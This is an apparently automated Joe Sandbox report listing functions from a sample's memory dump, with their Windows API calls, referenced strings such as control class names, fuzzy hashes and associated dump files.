Opcode Fuzzy Hash: 1cbafde28cf9e533edc7270b9aebcbc228e9e9a8fcc956c0052b743b1317a374
Instruction Fuzzy Hash: 4841A2312053029FD760DF28D8C5B1ABFE4EF84B14F14465DF5A997292DB30AA04DB92

Function 00B74EB4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000013,?,?,SysTreeView32,00B7DCD0,00000000,?,?,?,?), ref: 00B74F48
GetWindowLongW.USER32 ref: 00B74F65
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00B74F75

Strings

SysTreeView32, xrefs: 00B74F1A

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: Window$Long
String ID: SysTreeView32
API String ID: 847901565-1698111956
Opcode ID: 453420062b0ad8624d249d419570f65c2bda8d9d23c8ce8c57f43ba5a8240cdf
Instruction ID: 38601197e4a5190713c1e8c953daec227359365edb7f7fb69aaf79513102b99f
Opcode Fuzzy Hash: 453420062b0ad8624d249d419570f65c2bda8d9d23c8ce8c57f43ba5a8240cdf
Instruction Fuzzy Hash: A6317831204205AFDB258E78DC45BEA7BA9EF09375F208725F97DA61E0DB70AC909B50

Function 00B63AAB Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 90networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00B63DB8: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,?,?,?,?,?,00B63AD4,?,?), ref: 00B63DD5

inet_addr.WSOCK32(?,?,?,?,?,00000000), ref: 00B63AD7
_wcslen.LIBCMT ref: 00B63AF8
htons.WSOCK32(00000000,?,?,00000000), ref: 00B63B63

Strings

255.255.255.255, xrefs: 00B63AF2, 00B63AF7

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: ByteCharMultiWide_wcslenhtonsinet_addr
String ID: 255.255.255.255
API String ID: 946324512-2422070025
Opcode ID: dbec756ffb67aeb40172548fd3eeda069dd6f295f37ce20454eaf7f93bc0eeb9
Instruction ID: b332034c72101f96a9dfe4dd2e2740e0cb2227c3522226ca0144df8d8bd9e09b
Opcode Fuzzy Hash: dbec756ffb67aeb40172548fd3eeda069dd6f295f37ce20454eaf7f93bc0eeb9
Instruction Fuzzy Hash: 6331B3356002019FCB10CF68C9C5E6A77F0EF15724F288199E9168B392D779EE46CB61

Function 00B74954 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 89windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00001009,00000000,?), ref: 00B749DC
SetWindowPos.USER32(?,00000000,?,?,?,?,00000004), ref: 00B749F0
SendMessageW.USER32(?,00001002,00000000,?), ref: 00B74A14

Strings

SysMonthCal32, xrefs: 00B749A7

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: MessageSend$Window
String ID: SysMonthCal32
API String ID: 2326795674-1439706946
Opcode ID: 4c5693a31e6ffcf43d868e3bd527b31e49f20462cbd0bc83542cef4b02b1b332
Instruction ID: 7ce8ccb1de27d7267b33afab55643f369bcfdebfb4a5dfdb52ee84e01b37e15c
Opcode Fuzzy Hash: 4c5693a31e6ffcf43d868e3bd527b31e49f20462cbd0bc83542cef4b02b1b332
Instruction Fuzzy Hash: 8821BF32600219AFDF118FA0DC46FEB3BB9EF48714F114254FA296B1D0DBB1A891DB90

Function 00B750F1 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 87windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000469,?,00000000), ref: 00B751A3
SendMessageW.USER32(00000000,00000465,00000000,80017FFF), ref: 00B751B1
DestroyWindow.USER32(00000000,00000000,?,?,?,00000000,msctls_updown32,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 00B751B8

Strings

msctls_updown32, xrefs: 00B75122

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: MessageSend$DestroyWindow
String ID: msctls_updown32
API String ID: 4014797782-2298589950
Opcode ID: 675d47ccf5bda2dd690b5edf7ba11eb9dd487eea3e4e4446ae799dd38e29f8e8
Instruction ID: 4bd51ce406f3af61ec2a0f1e096e74eb20babc702e059f2618cc8366ec282cb9
Opcode Fuzzy Hash: 675d47ccf5bda2dd690b5edf7ba11eb9dd487eea3e4e4446ae799dd38e29f8e8
Instruction Fuzzy Hash: B02181B5600649AFDB10DF18DC85DA637EDEF59364B404199F9189B3A1CA70EC11CBA0

Function 00B74253 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000180,00000000,?), ref: 00B742DC
SendMessageW.USER32(?,00000186,00000000,00000000), ref: 00B742EC
MoveWindow.USER32(00000000,?,?,?,?,00000000,?,?,Listbox,00000000,00000000,?,?,?,?,?), ref: 00B74312

Strings

Listbox, xrefs: 00B742AB

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: MessageSend$MoveWindow
String ID: Listbox
API String ID: 3315199576-2633736733
Opcode ID: ff3bfc02f7d324fe95438a85fc1a88ff5c32053a90a649dcbff5e85ce36037d8
Instruction ID: fb48f71d8edff1ab223edb2966dc2b08fe81b695322d6707f2169c9544ceeacf
Opcode Fuzzy Hash: ff3bfc02f7d324fe95438a85fc1a88ff5c32053a90a649dcbff5e85ce36037d8
Instruction Fuzzy Hash: A021C232610118BBEF118F94DC85FBF37AEEF89754F118164F918AB191CB719C5287A0

Function 00B55439 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00B5544D
GetVolumeInformationW.KERNEL32(?,?,00007FFF,?,00000000,00000000,00000000,00000000), ref: 00B554A1
SetErrorMode.KERNEL32(00000000,?,?,00B7DCD0), ref: 00B55515

Strings

%lu, xrefs: 00B554B4

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: ErrorMode$InformationVolume
String ID: %lu
API String ID: 2507767853-685833217
Opcode ID: e72a51cbdc7c6686e58d35133b44973f6a51f0df03f673e88ab4ff1ba6af34c8
Instruction ID: ce2c7e0314d7af550d139e1342568f87a3e41df5748d30a8c24479df8d727c4c
Opcode Fuzzy Hash: e72a51cbdc7c6686e58d35133b44973f6a51f0df03f673e88ab4ff1ba6af34c8
Instruction Fuzzy Hash: 7C316F70A00148AFDB11DF64C985EAA77F8EF04305F1480A8F809EB362DB71EE45CB61

Function 00B74C89 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 67windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000405,00000000,00000000), ref: 00B74CED
SendMessageW.USER32(?,00000406,00000000,00640000), ref: 00B74D02
SendMessageW.USER32(?,00000414,0000000A,00000000), ref: 00B74D0F

Strings

msctls_trackbar32, xrefs: 00B74CC4

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: MessageSend
String ID: msctls_trackbar32
API String ID: 3850602802-1010561917
Opcode ID: f2788d2a0a5eb367fea3e2bbd5b9dfdf9fc9d2a4c7033e7848b78352fdffe333
Instruction ID: 03b68db116d6b40024319db992c05f42a8a94d27be0f152858559fa1d64a65bb
Opcode Fuzzy Hash: f2788d2a0a5eb367fea3e2bbd5b9dfdf9fc9d2a4c7033e7848b78352fdffe333
Instruction Fuzzy Hash: B411E371240248BEEF215F65DC06FAB37ECEF85B65F114524FA69E20A0C771DC619B10

Function 00B4389E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 67windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00AE8577: _wcslen.LIBCMT ref: 00AE858A

Part of subcall function 00B436F4: SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,?), ref: 00B43712
Part of subcall function 00B436F4: GetWindowThreadProcessId.USER32(?,00000000), ref: 00B43723
Part of subcall function 00B436F4: GetCurrentThreadId.KERNEL32 ref: 00B4372A
Part of subcall function 00B436F4: AttachThreadInput.USER32(00000000,?,00000000,00000000), ref: 00B43731

GetFocus.USER32 ref: 00B438C4

Part of subcall function 00B4373B: GetParent.USER32(00000000), ref: 00B43746

GetClassNameW.USER32(?,?,00000100), ref: 00B4390F
EnumChildWindows.USER32(?,00B43987), ref: 00B43937

Strings

%s%d, xrefs: 00B4394B

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: Thread$AttachChildClassCurrentEnumFocusInputMessageNameParentProcessSendTimeoutWindowWindows_wcslen
String ID: %s%d
API String ID: 1272988791-1110647743
Opcode ID: 2be9c89aa03661bdfd5a1c4e87af033b845442a68ece4ab81e215ff19bc72f96
Instruction ID: 7720d76c6afbc31d488fc8d5e0355a88a114bc740510052aa2a677b30561f32c
Opcode Fuzzy Hash: 2be9c89aa03661bdfd5a1c4e87af033b845442a68ece4ab81e215ff19bc72f96
Instruction Fuzzy Hash: 6D11D571600209ABCF01BF748D85AED77E99F94740F0880A9BD0D9B292DF719A45EB30

Function 00B76321 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32(?,?,?,00000030), ref: 00B76360
SetMenuItemInfoW.USER32(?,?,?,00000030), ref: 00B7638D
DrawMenuBar.USER32(?), ref: 00B7639C

Strings

0, xrefs: 00B7632E

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: Menu$InfoItem$Draw
String ID: 0
API String ID: 3227129158-4108050209
Opcode ID: 6cf8b2223d3e5e73def79a42933f1445146c471410e2a5a99d782c336afde4c8
Instruction ID: 0d0d694c6cbc88f217e031726fb8f5f4d71e2837d08952a58a78c67fd2fdc6f6
Opcode Fuzzy Hash: 6cf8b2223d3e5e73def79a42933f1445146c471410e2a5a99d782c336afde4c8
Instruction Fuzzy Hash: 70013531514218AFDB219F15D884BAA7BB4EF44351F10C0D9F84EEA190DB308A85EF21

Function 00B4096F Relevance: 6.3, APIs: 4, Instructions: 322COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3160838745455684e772aca81acd72c3603fed1fd04a3b07816f671e5b569e92
Instruction ID: 40ec4452896d6f5adc2756260bca77badae3c39fb85f751f2fdac4c7c94a964b
Opcode Fuzzy Hash: 3160838745455684e772aca81acd72c3603fed1fd04a3b07816f671e5b569e92
Instruction Fuzzy Hash: 4BC14875A1021AEFDB04DFA4C894AAAB7F5FF48704F108598E605EB251D731EE81EB90

Function 00B141F3 Relevance: 6.3, APIs: 4, Instructions: 305COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00B1427E
__alldvrm.LIBCMT ref: 00B1447F
__alldvrm.LIBCMT ref: 00B144A1

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: __alldvrm$_strrchr
String ID:
API String ID: 1036877536-0
Opcode ID: 65ac5c1fffd7beff7dffafb7e38bd52ffe3f80321006b0a9665303c455145bc9
Instruction ID: c6d544a9c2124873fd6da491a3c9a794784fa3182284ed0ae8c567a17beaa709
Opcode Fuzzy Hash: 65ac5c1fffd7beff7dffafb7e38bd52ffe3f80321006b0a9665303c455145bc9
Instruction Fuzzy Hash: F1A147729003869FEB21CF18D8917EEBBE4EF15310F6441E9E5959B381C73899C2C755

Function 00B40D26 Relevance: 6.2, APIs: 4, Instructions: 230COMMON

Download Yara Rule

APIs

ProgIDFromCLSID.OLE32(?,00000000,?,00000000,00000800,00000000,?,00B80BD4,?), ref: 00B40EE0
CoTaskMemFree.OLE32(00000000,00000000,?,00000000,00000800,00000000,?,00B80BD4,?), ref: 00B40EF8
CLSIDFromProgID.OLE32(?,?,00000000,00B7DCE0,000000FF,?,00000000,00000800,00000000,?,00B80BD4,?), ref: 00B40F1D
_memcmp.LIBVCRUNTIME ref: 00B40F3E

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: FromProg$FreeTask_memcmp
String ID:
API String ID: 314563124-0
Opcode ID: 90e63fea606cbde9139752c8d3cff240cf368b64fe326803585f2ed126e9ed51
Instruction ID: e22318da4bbd7a0f7be5d6421542c6f9f504feb7ea134d441ce3f37a46040312
Opcode Fuzzy Hash: 90e63fea606cbde9139752c8d3cff240cf368b64fe326803585f2ed126e9ed51
Instruction Fuzzy Hash: 7A811B71A10109EFCB14DF94C984EEEB7F9FF89315F204598E606AB250DB71AE06DB60

Function 00B6B0DC Relevance: 6.2, APIs: 4, Instructions: 175processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00B6B10C
Process32FirstW.KERNEL32(00000000,?), ref: 00B6B11A

Part of subcall function 00AEB329: _wcslen.LIBCMT ref: 00AEB333

Process32NextW.KERNEL32(00000000,?), ref: 00B6B1FC
CloseHandle.KERNEL32(00000000), ref: 00B6B20B

Part of subcall function 00AFE36B: CompareStringW.KERNEL32(00000409,00000001,?,00000000,00000000,?,?,00000000,?,00B24D73,?), ref: 00AFE395

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: Process32$CloseCompareCreateFirstHandleNextSnapshotStringToolhelp32_wcslen
String ID:
API String ID: 1991900642-0
Opcode ID: c80f9d790e12997a94b95af97cf308e845f5c2d676d8f44815df78947185b9fc
Instruction ID: 336e04fe9b5d71c34e63ac43d756909c5ad8e731cfe07d65dcb4374b44360162
Opcode Fuzzy Hash: c80f9d790e12997a94b95af97cf308e845f5c2d676d8f44815df78947185b9fc
Instruction Fuzzy Hash: 265147B1908340AFC310EF25C986A6BBBF8FF89754F40496DF58997291EB70D905CB92

Function 00B21711 Relevance: 6.2, APIs: 4, Instructions: 152COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00B21840

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 8d31ea5d410ed98808a597eac10feb16ea8c6504279aa6cc3c34a15fb0519d26
Instruction ID: 602ed04405e88691185c3f0183efd5688064c334c9c53be489e3982c2af14d66
Opcode Fuzzy Hash: 8d31ea5d410ed98808a597eac10feb16ea8c6504279aa6cc3c34a15fb0519d26
Instruction Fuzzy Hash: 63412B71A00121AADB306FBDACC2ABF3AE4EF61730F140AE5F41CDA2E1DB354D418261

Function 00B62533 Relevance: 6.1, APIs: 4, Instructions: 138networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32(00000002,00000002,00000011), ref: 00B6255A
WSAGetLastError.WSOCK32 ref: 00B62568
#21.WSOCK32(?,0000FFFF,00000020,00000002,00000004), ref: 00B625E7
WSAGetLastError.WSOCK32 ref: 00B625F1

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: ErrorLast$socket
String ID:
API String ID: 1881357543-0
Opcode ID: ac83f18647a2a69e2d6f1e707907317478c2fef0cebe9982fbd0d35d2285ee2f
Instruction ID: ea045ab2e8296402bda66bef139b43d03da90f857a41d6c496ab584e27c8a3fe
Opcode Fuzzy Hash: ac83f18647a2a69e2d6f1e707907317478c2fef0cebe9982fbd0d35d2285ee2f
Instruction Fuzzy Hash: A041D334A00600AFE720AF24C996F2A77E5EF04758F54C488F91A8F2D2C776ED428B91

Function 00B76CB0 Relevance: 6.1, APIs: 4, Instructions: 138COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 00B76D1A
ScreenToClient.USER32(?,?), ref: 00B76D4D
MoveWindow.USER32(?,?,?,?,000000FF,00000001,?,?,?,?,?), ref: 00B76DBA

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: Window$ClientMoveRectScreen
String ID:
API String ID: 3880355969-0
Opcode ID: 96155a165f79a66ca1ed2452f73f8d32e19ce1c860e32c4b2157f862c19a5f58
Instruction ID: 56b292be897b5132587e0963a0bddb1c220263004806b33f2b30b9e91f4971cc
Opcode Fuzzy Hash: 96155a165f79a66ca1ed2452f73f8d32e19ce1c860e32c4b2157f862c19a5f58
Instruction Fuzzy Hash: F6510F74A00605EFCF25DF64D980AAE7BF6FF44360F1085A9F96997290DB70AE81CB50

Function 00B1B79F Relevance: 6.1, APIs: 4, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dba0946c393416b4b4e9bf04a680ea4c9216e0d006a3e357098de72ef463c43b
Instruction ID: 68743b9a95d722e1d98aca935bc9f6e835b7c6f5c61ddaece12b576a36b328f8
Opcode Fuzzy Hash: dba0946c393416b4b4e9bf04a680ea4c9216e0d006a3e357098de72ef463c43b
Instruction Fuzzy Hash: C741D771A00704EFD725AF78CC41FAA7BE9EB84B10F1086AAF115DB691D77299418780

Function 00B5611E Relevance: 6.1, APIs: 4, Instructions: 110fileCOMMON

Download Yara Rule

APIs

CreateHardLinkW.KERNEL32(00000002,?,00000000), ref: 00B561C8
GetLastError.KERNEL32(?,00000000), ref: 00B561EE
DeleteFileW.KERNEL32(00000002,?,00000000), ref: 00B56213
CreateHardLinkW.KERNEL32(00000002,?,00000000,?,00000000), ref: 00B5623F

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
